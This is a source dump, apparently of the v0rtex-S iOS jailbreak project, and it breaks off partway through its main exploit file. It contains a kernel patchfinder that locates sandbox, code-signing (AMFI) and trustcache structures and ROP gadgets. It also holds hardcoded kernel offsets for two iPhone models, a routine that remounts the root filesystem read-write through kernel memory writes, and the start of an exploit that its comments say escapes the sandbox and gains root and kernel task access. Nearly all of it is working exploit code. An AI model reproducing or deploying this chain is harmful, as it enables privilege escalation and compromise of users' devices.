783 | if (!call) {
784 | return 0;
785 | }
786 | dest = follow_call64(kernel, call);
787 | if (!dest) {
788 | return 0;
789 | }
790 | reg = calc64(kernel, dest, dest + 8, 16);
791 | if (!reg) {
792 | return 0;
793 | }
794 | return reg + kerndumpbase;
795 | }
796 |
797 | addr_t
798 | find_sbops(void)
799 | {
800 | addr_t off, what;
801 | uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Seatbelt sandbox policy", sizeof("Seatbelt sandbox policy") - 1);
802 | if (!str) {
803 | return 0;
804 | }
805 | what = str - kernel + kerndumpbase;
806 | for (off = 0; off < kernel_size - prelink_base; off += 8) {
807 | if (*(uint64_t *)(kernel + prelink_base + off) == what) {
808 | return *(uint64_t *)(kernel + prelink_base + off + 24);
809 | }
810 | }
811 | return 0;
812 | }
813 |
814 | addr_t
815 | find_lwvm_mapio_patch(void)
816 | {
817 | addr_t call, dest, reg;
818 | addr_t ref = find_strref("_mapForIO", 1, 1);
819 | if (!ref) {
820 | return 0;
821 | }
822 | ref -= kerndumpbase;
823 | call = step64(kernel, ref, 64, INSN_CALL);
824 | if (!call) {
825 | return 0;
826 | }
827 | call = step64(kernel, call + 4, 64, INSN_CALL);
828 | if (!call) {
829 | return 0;
830 | }
831 | dest = follow_call64(kernel, call);
832 | if (!dest) {
833 | return 0;
834 | }
835 | reg = calc64(kernel, dest, dest + 8, 16);
836 | if (!reg) {
837 | return 0;
838 | }
839 | return reg + kerndumpbase;
840 | }
841 |
842 | addr_t
843 | find_lwvm_mapio_newj(void)
844 | {
845 | addr_t call;
846 | addr_t ref = find_strref("_mapForIO", 1, 1);
847 | if (!ref) {
848 | return 0;
849 | }
850 | ref -= kerndumpbase;
851 | call = step64(kernel, ref, 64, INSN_CALL);
852 | if (!call) {
853 | return 0;
854 | }
855 | call = step64(kernel, call + 4, 64, INSN_CALL);
856 | if (!call) {
857 | return 0;
858 | }
859 | call = step64(kernel, call + 4, 64, INSN_CALL);
860 | if (!call) {
861 | return 0;
862 | }
863 | call = step64_back(kernel, call, 64, INSN_B);
864 | if (!call) {
865 | return 0;
866 | }
867 | return call + 4 + kerndumpbase;
868 | }
869 |
870 | addr_t
871 | find_cpacr_write(void)
872 | {
873 | addr_t off;
874 | uint32_t *k;
875 | k = (uint32_t *)(kernel + xnucore_base);
876 | for (off = 0; off < xnucore_size - 4; off += 4, k++) {
877 | if (k[0] == 0xd5181040) {
878 | return off + xnucore_base + kerndumpbase;
879 | }
880 | }
881 | return 0;
882 | }
883 |
884 | addr_t
885 | find_str(const char *string)
886 | {
887 | uint8_t *str = boyermoore_horspool_memmem(kernel, kernel_size, (uint8_t *)string, strlen(string));
888 | if (!str) {
889 | return 0;
890 | }
891 | return str - kernel + kerndumpbase;
892 | }
893 |
894 | addr_t
895 | find_entry(void)
896 | {
897 | /* XXX returns an unslid address */
898 | return kernel_entry;
899 | }
900 |
901 | const unsigned char *
902 | find_mh(void)
903 | {
904 | return kernel_mh;
905 | }
906 |
907 | addr_t
908 | find_amfiops(void)
909 | {
910 | addr_t off, what;
911 | uint8_t *str = boyermoore_horspool_memmem(kernel + pstring_base, pstring_size, (uint8_t *)"Apple Mobile File Integrity", sizeof("Apple Mobile File Integrity") - 1);
912 | if (!str) {
913 | return 0;
914 | }
915 | what = str - kernel + kerndumpbase;
916 | /* XXX will only work on a dumped kernel */
917 | for (off = 0; off < kernel_size - prelink_base; off += 8) {
918 | if (*(uint64_t *)(kernel + prelink_base + off) == what) {
919 | return *(uint64_t *)(kernel + prelink_base + off + 0x18);
920 | }
921 | }
922 | return 0;
923 | }
924 |
925 | addr_t
926 | find_sysbootnonce(void)
927 | {
928 | addr_t off, what;
929 | uint8_t *str = boyermoore_horspool_memmem(kernel + cstring_base, cstring_size, (uint8_t *)"com.apple.System.boot-nonce", sizeof("com.apple.System.boot-nonce") - 1);
930 | if (!str) {
931 | return 0;
932 | }
933 | what = str - kernel + kerndumpbase;
934 | for (off = 0; off < kernel_size - xnucore_base; off += 8) {
935 | if (*(uint64_t *)(kernel + xnucore_base + off) == what) {
936 | return xnucore_base + off + 8 + 4 + kerndumpbase;
937 | }
938 | }
939 | return 0;
940 | }
941 |
942 | uint64_t find_copyout(void) {
943 | // Find the first reference to the string
944 | addr_t ref = find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0);
945 | if (!ref) {
946 | return 0;
947 | }
948 | ref -= kerndumpbase;
949 |
950 | uint64_t start = 0;
951 | for (int i = 4; i < 0x100*4; i+=4) {
952 | uint32_t op = *(uint32_t*)(kernel+ref-i);
953 | if (op == 0xd10143ff) { // SUB SP, SP, #0x50
954 | start = ref-i;
955 | break;
956 | }
957 | }
958 | if (!start) {
959 | return 0;
960 | }
961 |
962 | return start + kerndumpbase;
963 | }
964 |
965 | uint64_t find_bzero(void) {
966 | // Just find SYS #3, c7, c4, #1, X3, then get the start of that function
967 | addr_t off;
968 | uint32_t *k;
969 | k = (uint32_t *)(kernel + xnucore_base);
970 | for (off = 0; off < xnucore_size - 4; off += 4, k++) {
971 | if (k[0] == 0xd50b7423) {
972 | off += xnucore_base;
973 | break;
974 | }
975 | }
976 |
977 | uint64_t start = bof64(kernel, xnucore_base, off);
978 | if (!start) {
979 | return 0;
980 | }
981 |
982 | return start + kerndumpbase;
983 | }
984 |
985 | addr_t find_bcopy(void) {
986 | // Jumps straight into memmove after switching x0 and x1 around
987 | // Guess we just find the switch and that's it
988 | addr_t off;
989 | uint32_t *k;
990 | k = (uint32_t *)(kernel + xnucore_base);
991 | for (off = 0; off < xnucore_size - 4; off += 4, k++) {
992 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
993 | return off + xnucore_base + kerndumpbase;
994 | }
995 | }
996 | k = (uint32_t *)(kernel + prelink_base);
997 | for (off = 0; off < prelink_size - 4; off += 4, k++) {
998 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
999 | return off + prelink_base + kerndumpbase;
1000 | }
1001 | }
1002 | return 0;
1003 | }
1004 |
1005 | addr_t find_trustcache(void) {
1006 | addr_t call, func, val;
1007 | addr_t ref = find_strref("com.apple.MobileFileIntegrity", 1, 1);
1008 | if (!ref) {
1009 | printf("didnt find string ref\n");
1010 | return 0;
1011 | }
1012 | ref -= kerndumpbase;
1013 | call = step64(kernel, ref, 32, INSN_CALL);
1014 | if (!call) {
1015 | printf("couldn't find the call\n");
1016 | return 0;
1017 | }
1018 | call = step64(kernel, call+4, 32, INSN_CALL);
1019 | func = follow_call64(kernel, call);
1020 | if (!func) {
1021 | printf("couldn't follow the call\n");
1022 | return 0;
1023 | }
1024 | val = calc64(kernel, func, func + 16, 8);
1025 | if (!val) {
1026 | return 0;
1027 | }
1028 | return val + kerndumpbase;
1029 | }
1030 |
1031 | addr_t find_amficache(void) {
1032 | addr_t call, func, bof, val;
1033 | addr_t ref = find_strref("com.apple.MobileFileIntegrity", 1, 1);
1034 | if (!ref) {
1035 | printf("didnt find string ref\n");
1036 | return 0;
1037 | }
1038 | ref -= kerndumpbase;
1039 | call = step64(kernel, ref, 32, INSN_CALL);
1040 | if (!call) {
1041 | printf("couldn't find the call\n");
1042 | return 0;
1043 | }
1044 | call = step64(kernel, call+4, 32, INSN_CALL);
1045 | func = follow_call64(kernel, call);
1046 | if (!func) {
1047 | printf("couldn't follow the call\n");
1048 | return 0;
1049 | }
1050 | bof = bof64(kernel, func - 256, func);
1051 | if (!bof) {
1052 | printf("couldn't find the start of the function\n");
1053 | return 0;
1054 | }
1055 | val = calc64(kernel, bof, func, 9);
1056 | if (!val) {
1057 | printf("couldn't find x9\n");
1058 | return 0;
1059 | }
1060 | return val + kerndumpbase;
1061 | }
1062 |
1063 | // #ifdef HAVE_MAIN
1064 |
1065 | /* extra_recipe **************************************************************/
1066 |
1067 | #define INSN_STR8 0xF9000000 | 8, 0xFFC00000 | 0x1F
1068 |
1069 | addr_t
1070 | find_AGXCommandQueue_vtable(void)
1071 | {
1072 | addr_t val, str8;
1073 | addr_t ref = find_strref("AGXCommandQueue", 1, 1);
1074 | if (!ref) {
1075 | return 0;
1076 | }
1077 | val = find_register_value(ref, 0);
1078 | if (!val) {
1079 | return 0;
1080 | }
1081 | ref = find_reference(val, 1, 1);
1082 | if (!ref) {
1083 | return 0;
1084 | }
1085 | ref -= kerndumpbase;
1086 | str8 = step64(kernel, ref, 32, INSN_STR8);
1087 | if (!str8) {
1088 | return 0;
1089 | }
1090 | val = calc64(kernel, ref, str8, 8);
1091 | if (!val) {
1092 | return 0;
1093 | }
1094 | return val + kerndumpbase;
1095 | }
1096 |
1097 | addr_t
1098 | find_allproc(void)
1099 | {
1100 | addr_t val, bof, str8;
1101 | addr_t ref = find_strref("\"pgrp_add : pgrp is dead adding process\"", 1, 0);
1102 | if (!ref) {
1103 | return 0;
1104 | }
1105 | ref -= kerndumpbase;
1106 | bof = bof64(kernel, xnucore_base, ref);
1107 | if (!bof) {
1108 | return 0;
1109 | }
1110 | str8 = step64_back(kernel, ref, ref - bof, INSN_STR8);
1111 | if (!str8) {
1112 | return 0;
1113 | }
1114 | val = calc64(kernel, bof, str8, 8);
1115 | if (!val) {
1116 | return 0;
1117 | }
1118 | return val + kerndumpbase;
1119 | }
1120 |
1121 | addr_t
1122 | find_call5(void)
1123 | {
1124 | addr_t bof;
1125 | uint8_t gadget[] = { 0x95, 0x5A, 0x40, 0xF9, 0x68, 0x02, 0x40, 0xF9, 0x88, 0x5A, 0x00, 0xF9, 0x60, 0xA2, 0x40, 0xA9 };
1126 | uint8_t *str = boyermoore_horspool_memmem(kernel + prelink_base, prelink_size, gadget, sizeof(gadget));
1127 | if (!str) {
1128 | return 0;
1129 | }
1130 | bof = bof64(kernel, prelink_base, str - kernel);
1131 | if (!bof) {
1132 | return 0;
1133 | }
1134 | return bof + kerndumpbase;
1135 | }
1136 |
1137 | addr_t
1138 | find_realhost(addr_t priv)
1139 | {
1140 | addr_t val;
1141 | if (!priv) {
1142 | return 0;
1143 | }
1144 | priv -= kerndumpbase;
1145 | val = calc64(kernel, priv, priv + 12, 0);
1146 | if (!val) {
1147 | return 0;
1148 | }
1149 | return val + kerndumpbase;
1150 | }
1151 |
1152 | #include
1153 |
1154 | addr_t
1155 | find_symbol(const char *symbol)
1156 | {
1157 | unsigned i;
1158 | const struct mach_header *hdr = kernel_mh;
1159 | const uint8_t *q;
1160 | int is64 = 0;
1161 |
1162 | if (IS64(hdr)) {
1163 | is64 = 4;
1164 | }
1165 |
1166 | /* XXX will only work on a decrypted kernel */
1167 | if (!kernel_delta) {
1168 | return 0;
1169 | }
1170 |
1171 | /* XXX I should cache these. ohwell... */
1172 | q = (uint8_t *)(hdr + 1) + is64;
1173 | for (i = 0; i < hdr->ncmds; i++) {
1174 | const struct load_command *cmd = (struct load_command *)q;
1175 | if (cmd->cmd == LC_SYMTAB) {
1176 | const struct symtab_command *sym = (struct symtab_command *)q;
1177 | const char *stroff = (const char *)kernel + sym->stroff + kernel_delta;
1178 | if (is64) {
1179 | uint32_t k;
1180 | const struct nlist_64 *s = (struct nlist_64 *)(kernel + sym->symoff + kernel_delta);
1181 | for (k = 0; k < sym->nsyms; k++) {
1182 | if (s[k].n_type & N_STAB) {
1183 | continue;
1184 | }
1185 | if (s[k].n_value && (s[k].n_type & N_TYPE) != N_INDR) {
1186 | if (!strcmp(symbol, stroff + s[k].n_un.n_strx)) {
1187 | /* XXX this is an unslid address */
1188 | return s[k].n_value;
1189 | }
1190 | }
1191 | }
1192 | }
1193 | }
1194 | q = q + cmd->cmdsize;
1195 | }
1196 | return 0;
1197 | }
1198 |
1199 | /* test **********************************************************************/
1200 |
1201 | /*
1202 | int
1203 | main(int argc, char **argv)
1204 | {
1205 | int rv;
1206 | addr_t base = 0;
1207 | const addr_t vm_kernel_slide = 0;
1208 | rv = init_kernel(base, (argc > 1) ? argv[1] : "krnl");
1209 | assert(rv == 0);
1210 |
1211 | addr_t AGXCommandQueue_vtable = find_AGXCommandQueue_vtable();
1212 | printf("\t\t\t0x%llx\n", AGXCommandQueue_vtable - vm_kernel_slide);
1213 | addr_t OSData_getMetaClass = find_symbol("__ZNK6OSData12getMetaClassEv");
1214 | printf("\t\t\t0x%llx\n", OSData_getMetaClass);
1215 | addr_t OSSerializer_serialize = find_symbol("__ZNK12OSSerializer9serializeEP11OSSerialize");
1216 | printf("\t\t\t0x%llx\n", OSSerializer_serialize);
1217 | addr_t k_uuid_copy = find_symbol("_uuid_copy");
1218 | printf("\t\t\t0x%llx\n", k_uuid_copy);
1219 | addr_t allproc = find_allproc();
1220 | printf("\t\t\t0x%llx\n", allproc);
1221 | addr_t realhost = find_realhost(find_symbol("_host_priv_self") + vm_kernel_slide);
1222 | printf("\t\t\t0x%llx\n", realhost - vm_kernel_slide);
1223 | addr_t call5 = find_call5();
1224 | printf("\t\t\t0x%llx\n", call5 - vm_kernel_slide);
1225 |
1226 | assert(find_symbol("_rootvnode") == find_gPhysBase() + 0x38 - vm_kernel_slide);
1227 |
1228 | term_kernel();
1229 | return 0;
1230 | }*/
1231 |
1232 | // #endif /* HAVE_MAIN */
1233 |
--------------------------------------------------------------------------------
/v0rtex-S/patchfinder64.h:
--------------------------------------------------------------------------------
1 | #ifndef PATCHFINDER64_H_
2 | #define PATCHFINDER64_H_
3 |
4 | #import "common.h"
5 | #import
6 |
7 | int init_patchfinder(task_t tfp0, uint64_t base, const char *filename);
8 | void term_kernel(void);
9 |
10 | enum { SearchInCore, SearchInPrelink };
11 |
12 | uint64_t find_register_value(uint64_t where, int reg);
13 | uint64_t find_reference(uint64_t to, int n, int prelink);
14 | uint64_t find_strref(const char *string, int n, int prelink);
15 | uint64_t find_gPhysBase(void);
16 | uint64_t find_kernel_pmap(void);
17 | uint64_t find_amfiret(void);
18 | uint64_t find_ret_0(void);
19 | uint64_t find_amfi_memcmpstub(void);
20 | uint64_t find_sbops(void);
21 | uint64_t find_lwvm_mapio_patch(void);
22 | uint64_t find_lwvm_mapio_newj(void);
23 |
24 | uint64_t find_entry(void);
25 | const unsigned char *find_mh(void);
26 |
27 | uint64_t find_cpacr_write(void);
28 | uint64_t find_str(const char *string);
29 | uint64_t find_amfiops(void);
30 | uint64_t find_sysbootnonce(void);
31 | uint64_t find_trustcache(void);
32 | uint64_t find_amficache(void);
33 |
34 | uint64_t find_allproc(void);
35 |
36 | #endif
37 |
--------------------------------------------------------------------------------
/v0rtex-S/root-rw.h:
--------------------------------------------------------------------------------
1 | //
2 | // root-rw.h
3 | // v0rtex-s
4 | //
5 | // Created by Ben on 16/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #include
10 | #include
11 |
12 | int mount_root(task_t tfp0, uint64_t kslide);
13 |
--------------------------------------------------------------------------------
/v0rtex-S/root-rw.m:
--------------------------------------------------------------------------------
1 | //
2 | // root-rw.m
3 | // v0rtex
4 | //
5 | // Created by Ben on 16/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #include "root-rw.h"
10 | #include "kernel.h"
11 | #include "symbols.h"
12 |
13 | // For '/' remount (not offsets)
14 | #define KSTRUCT_OFFSET_MOUNT_MNT_FLAG 0x70
15 | #define KSTRUCT_OFFSET_VNODE_V_UN 0xd8
16 |
17 | // props to xerub for the original '/' r/w remount code
18 | int mount_root(task_t tfp0, uint64_t kslide) {
19 | uint64_t _rootnode = OFFSET_ROOT_MOUNT_V_NODE + kslide;
20 | uint64_t rootfs_vnode = rk64(_rootnode);
21 |
22 | // read the original flags
23 | uint64_t v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
24 | uint32_t v_flag = rk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1);
25 |
26 | // unset rootfs flag
27 | wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag & ~(MNT_ROOTFS >> 8));
28 |
29 | // remount
30 | char *nmz = strdup("/dev/disk0s1s1");
31 | kern_return_t rv = mount("hfs", "/", MNT_UPDATE, (void *)&nmz);
32 |
33 | // set original flags back
34 | v_mount = rk64(rootfs_vnode + KSTRUCT_OFFSET_VNODE_V_UN);
35 | wk32(v_mount + KSTRUCT_OFFSET_MOUNT_MNT_FLAG + 1, v_flag);
36 |
37 | return rv;
38 | }
39 |
--------------------------------------------------------------------------------
/v0rtex-S/symbols.h:
--------------------------------------------------------------------------------
1 | //
2 | // symbols.h
3 | // v0rtex-s
4 | //
5 | // Created by Ben on 16/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include "common.h"
14 |
15 | extern uint64_t OFFSET_ZONE_MAP;
16 | extern uint64_t OFFSET_KERNEL_MAP;
17 | extern uint64_t OFFSET_KERNEL_TASK;
18 | extern uint64_t OFFSET_REALHOST;
19 | extern uint64_t OFFSET_BZERO;
20 | extern uint64_t OFFSET_BCOPY;
21 | extern uint64_t OFFSET_COPYIN;
22 | extern uint64_t OFFSET_COPYOUT;
23 | extern uint64_t OFFSET_CHGPROCCNT;
24 | extern uint64_t OFFSET_KAUTH_CRED_REF;
25 | extern uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL;
26 | extern uint64_t OFFSET_IPC_KOBJECT_SET;
27 | extern uint64_t OFFSET_IPC_PORT_MAKE_SEND;
28 | extern uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
29 | extern uint64_t OFFSET_OSSERIALIZER_SERIALIZE;
30 | extern uint64_t OFFSET_ROP_LDR_X0_X0_0x10;
31 | extern uint64_t OFFSET_ROP_ADD_X0_X0_0x10;
32 | extern uint64_t OFFSET_ROOT_MOUNT_V_NODE;
33 |
34 | BOOL init_symbols(void);
35 |
--------------------------------------------------------------------------------
/v0rtex-S/symbols.m:
--------------------------------------------------------------------------------
1 | //
2 | // symbols.m
3 | // v0rtex
4 | //
5 | // Created by Ben on 16/12/2017.
6 | // Copyright © 2017 Sticktron. All rights reserved.
7 | //
8 |
9 | #include
10 | #include "symbols.h"
11 | #include "common.h"
12 |
13 | uint64_t OFFSET_ZONE_MAP;
14 | uint64_t OFFSET_KERNEL_MAP;
15 | uint64_t OFFSET_KERNEL_TASK;
16 | uint64_t OFFSET_REALHOST;
17 | uint64_t OFFSET_BZERO;
18 | uint64_t OFFSET_BCOPY;
19 | uint64_t OFFSET_COPYIN;
20 | uint64_t OFFSET_COPYOUT;
21 | uint64_t OFFSET_CHGPROCCNT;
22 | uint64_t OFFSET_KAUTH_CRED_REF;
23 | uint64_t OFFSET_IPC_PORT_ALLOC_SPECIAL;
24 | uint64_t OFFSET_IPC_KOBJECT_SET;
25 | uint64_t OFFSET_IPC_PORT_MAKE_SEND;
26 | uint64_t OFFSET_IOSURFACEROOTUSERCLIENT_VTAB;
27 | uint64_t OFFSET_OSSERIALIZER_SERIALIZE;
28 | uint64_t OFFSET_ROP_LDR_X0_X0_0x10;
29 | uint64_t OFFSET_ROP_ADD_X0_X0_0x10;
30 | uint64_t OFFSET_ROOT_MOUNT_V_NODE;
31 |
32 | #import
33 |
34 | BOOL init_symbols()
35 | {
36 | NSString *ver = [[NSProcessInfo processInfo] operatingSystemVersionString];
37 |
38 | struct utsname u;
39 | uname(&u);
40 |
41 | LOG("Device: %s", u.machine);
42 | LOG("Device Name: %s", u.nodename);
43 | LOG("iOS Version: %@", ver);
44 |
45 | if (strcmp(u.machine, "iPhone9,3") == 0 && [ver isEqual:@"Version 10.3.1 (Build 14E304)"])
46 | {
47 | OFFSET_ZONE_MAP = 0xfffffff007590478;
48 | OFFSET_KERNEL_MAP = 0xfffffff0075ec050;
49 | OFFSET_KERNEL_TASK = 0xfffffff0075ec048;
50 | OFFSET_REALHOST = 0xfffffff007572ba0;
51 | OFFSET_BZERO = 0xfffffff0070c1f80;
52 | OFFSET_BCOPY = 0xfffffff0070c1dc0;
53 | OFFSET_COPYIN = 0xfffffff0071c6134;
54 | OFFSET_COPYOUT = 0xfffffff0071c6414;
55 | OFFSET_CHGPROCCNT = 0xfffffff007049e4b;
56 | OFFSET_KAUTH_CRED_REF = 0xfffffff0073ada04;
57 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff0070df05c;
58 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070f22b4;
59 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070deb80;
60 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e4a238;
61 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064ff0a8;
62 | OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0074cf02c;
63 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075ec0b0;
64 | LOG("loaded offsets for iPhone 7 on 10.3.1");
65 | }
66 |
67 | // iPhone 6S - 10.3.2
68 | else if (strcmp(u.machine, "iPhone8,1") == 0 && [ver isEqual:@"Version 10.3.2 (Build 14F89)"])
69 | {
70 | OFFSET_ZONE_MAP = 0xfffffff007548478; /* "zone_init: kmem_suballoc failed" */
71 | OFFSET_KERNEL_MAP = 0xfffffff0075a4050;
72 | OFFSET_KERNEL_TASK = 0xfffffff0075a4048;
73 | OFFSET_REALHOST = 0xfffffff00752aba0; /* host_priv_self */
74 | OFFSET_BZERO = 0xfffffff007081f80;
75 | OFFSET_BCOPY = 0xfffffff007081dc0;
76 | OFFSET_COPYIN = 0xfffffff0071806f4;
77 | OFFSET_COPYOUT = 0xfffffff0071808e8;
78 | OFFSET_CHGPROCCNT = 0xfffffff007049df1;
79 | OFFSET_KAUTH_CRED_REF = 0xfffffff007367cf4;
80 | OFFSET_IPC_PORT_ALLOC_SPECIAL = 0xfffffff007099e94; /* convert_task_suspension_token_to_port */
81 | OFFSET_IPC_KOBJECT_SET = 0xfffffff0070ad16c; /* convert_task_suspension_token_to_port */
82 | OFFSET_IPC_PORT_MAKE_SEND = 0xfffffff0070999b8; /* "ipc_host_init" */
83 | OFFSET_IOSURFACEROOTUSERCLIENT_VTAB = 0xfffffff006e7c9f8;
84 | OFFSET_ROP_ADD_X0_X0_0x10 = 0xfffffff0064b1398;
85 | OFFSET_ROP_LDR_X0_X0_0x10 = 0xfffffff0074c31d4;
86 | OFFSET_ROOT_MOUNT_V_NODE = 0xfffffff0075a40b0;
87 | LOG("loaded offsets for iPhone 6S on 10.3.2");
88 | }
89 |
90 | else
91 | {
92 | LOG("Device not supported.");
93 | return NO;
94 | }
95 |
96 | return YES;
97 | }
98 |
--------------------------------------------------------------------------------
/v0rtex-S/tar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Sticktron/v0rtex-S/ace7deddb5b34ddcd57f6e950a9813a4fd2ce74b/v0rtex-S/tar
--------------------------------------------------------------------------------
/v0rtex-S/v0rtex.h:
--------------------------------------------------------------------------------
1 | #ifndef V0RTEX_H
2 | #define V0RTEX_H
3 |
4 | #include
5 |
6 | #include "common.h"
7 |
8 | kern_return_t v0rtex(task_t *tfp0, kptr_t *kslide, kptr_t *kernucred, kptr_t *selfproc);
9 |
10 | #endif
11 |
--------------------------------------------------------------------------------
/v0rtex-S/v0rtex.m:
--------------------------------------------------------------------------------
1 | // v0rtex
2 | // Bug by Ian Beer, I suppose?
3 | // Exploit by Siguza.
4 |
5 | // Status quo:
6 | // - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3.
7 | // - Can call arbitrary kernel functions with up to 7 args via KCALL().
8 | // - Relies on mach_zone_force_gc which was removed in iOS 11, but the same
9 | // effect should be achievable by continuously spraying through zones and
10 | // measuring how long it takes - garbag collection usually takes ages. :P
11 |
12 | // Not sure what'll really become of this, but it's certainly not done yet.
13 | // Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being.
14 | // Might also do a write-up at some point, once fully working.
15 |
16 | #include // sched_yield
17 | #include // strerror, memset
18 | #include // usleep, setuid, getuid
19 | #include
20 | #include
21 |
22 | #include "common.h"
23 | #include "symbols.h"
24 | #include "symbols.h"
25 |
26 | #define SIZEOF_TASK 0x550
27 | #define OFFSET_TASK_ITK_SELF 0xd8
28 | #define OFFSET_TASK_ITK_REGISTERED 0x2e8
29 | #define OFFSET_TASK_BSD_INFO 0x360
30 | #define OFFSET_PROC_P_PID 0x10
31 | #define OFFSET_PROC_UCRED 0x100
32 | #define OFFSET_UCRED_CR_UID 0x18
33 | #define OFFSET_UCRED_CR_LABEL 0x78
34 | #define OFFSET_VM_MAP_HDR 0x10
35 | #define OFFSET_IPC_SPACE_IS_TASK 0x28
36 | #define OFFSET_REALHOST_SPECIAL 0x10
37 | #define OFFSET_IOUSERCLIENT_IPC 0x9c
38 | #define OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX 0x5b8
39 |
40 | #define KPTR_ALIGN(addr) (((addr) + sizeof(kptr_t) - 1) & ~(sizeof(kptr_t) - 1))
41 |
42 | const uint64_t IOSURFACE_CREATE_SURFACE = 0;
43 | const uint64_t IOSURFACE_SET_VALUE = 9;
44 | const uint64_t IOSURFACE_GET_VALUE = 10;
45 | const uint64_t IOSURFACE_DELETE_VALUE = 11;
46 |
47 | const uint32_t IKOT_TASK = 2;
48 |
49 | enum
50 | {
51 | kOSSerializeDictionary = 0x01000000U,
52 | kOSSerializeArray = 0x02000000U,
53 | kOSSerializeSet = 0x03000000U,
54 | kOSSerializeNumber = 0x04000000U,
55 | kOSSerializeSymbol = 0x08000000U,
56 | kOSSerializeString = 0x09000000U,
57 | kOSSerializeData = 0x0a000000U,
58 | kOSSerializeBoolean = 0x0b000000U,
59 | kOSSerializeObject = 0x0c000000U,
60 |
61 | kOSSerializeTypeMask = 0x7F000000U,
62 | kOSSerializeDataMask = 0x00FFFFFFU,
63 |
64 | kOSSerializeEndCollection = 0x80000000U,
65 |
66 | kOSSerializeMagic = 0x000000d3U,
67 | };
68 |
69 | // IOKit cruft
70 | typedef mach_port_t io_service_t;
71 | typedef mach_port_t io_connect_t;
72 | extern const mach_port_t kIOMasterPortDefault;
73 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
74 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
75 | kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client);
76 | kern_return_t IOServiceClose(io_connect_t client);
77 | kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
78 | kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
79 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
80 |
81 | // Other unexported symbols
82 | kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
83 |
84 | static const char *errstr(int r)
85 | {
86 | return r == 0 ? "success" : strerror(r);
87 | }
88 |
89 | static uint32_t transpose(uint32_t val)
90 | {
91 | uint32_t ret = 0;
92 | for(size_t i = 0; val > 0; i += 8)
93 | {
94 | ret += (val % 255) << i;
95 | val /= 255;
96 | }
97 | return ret + 0x01010101;
98 | }
99 |
100 | static kern_return_t my_mach_zone_force_gc(host_t host)
101 | {
102 | #pragma pack(4)
103 | typedef struct {
104 | mach_msg_header_t Head;
105 | } Request;
106 | typedef struct {
107 | mach_msg_header_t Head;
108 | NDR_record_t NDR;
109 | kern_return_t RetCode;
110 | mach_msg_trailer_t trailer;
111 | } Reply;
112 | #pragma pack()
113 |
114 | union {
115 | Request In;
116 | Reply Out;
117 | } Mess;
118 |
119 | Request *InP = &Mess.In;
120 | Reply *OutP = &Mess.Out;
121 |
122 | InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
123 | InP->Head.msgh_remote_port = host;
124 | InP->Head.msgh_local_port = mig_get_reply_port();
125 | InP->Head.msgh_id = 221;
126 | InP->Head.msgh_reserved = 0;
127 |
128 | kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
129 | if(ret == KERN_SUCCESS)
130 | {
131 | ret = OutP->RetCode;
132 | }
133 | return ret;
134 | }
135 |
136 | static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context)
137 | {
138 | #pragma pack(4)
139 | typedef struct {
140 | mach_msg_header_t Head;
141 | NDR_record_t NDR;
142 | mach_port_name_t name;
143 | } Request;
144 | typedef struct {
145 | mach_msg_header_t Head;
146 | NDR_record_t NDR;
147 | kern_return_t RetCode;
148 | mach_vm_address_t context;
149 | mach_msg_trailer_t trailer;
150 | } Reply;
151 | #pragma pack()
152 |
153 | union {
154 | Request In;
155 | Reply Out;
156 | } Mess;
157 |
158 | Request *InP = &Mess.In;
159 | Reply *OutP = &Mess.Out;
160 |
161 | InP->NDR = NDR_record;
162 | InP->name = name;
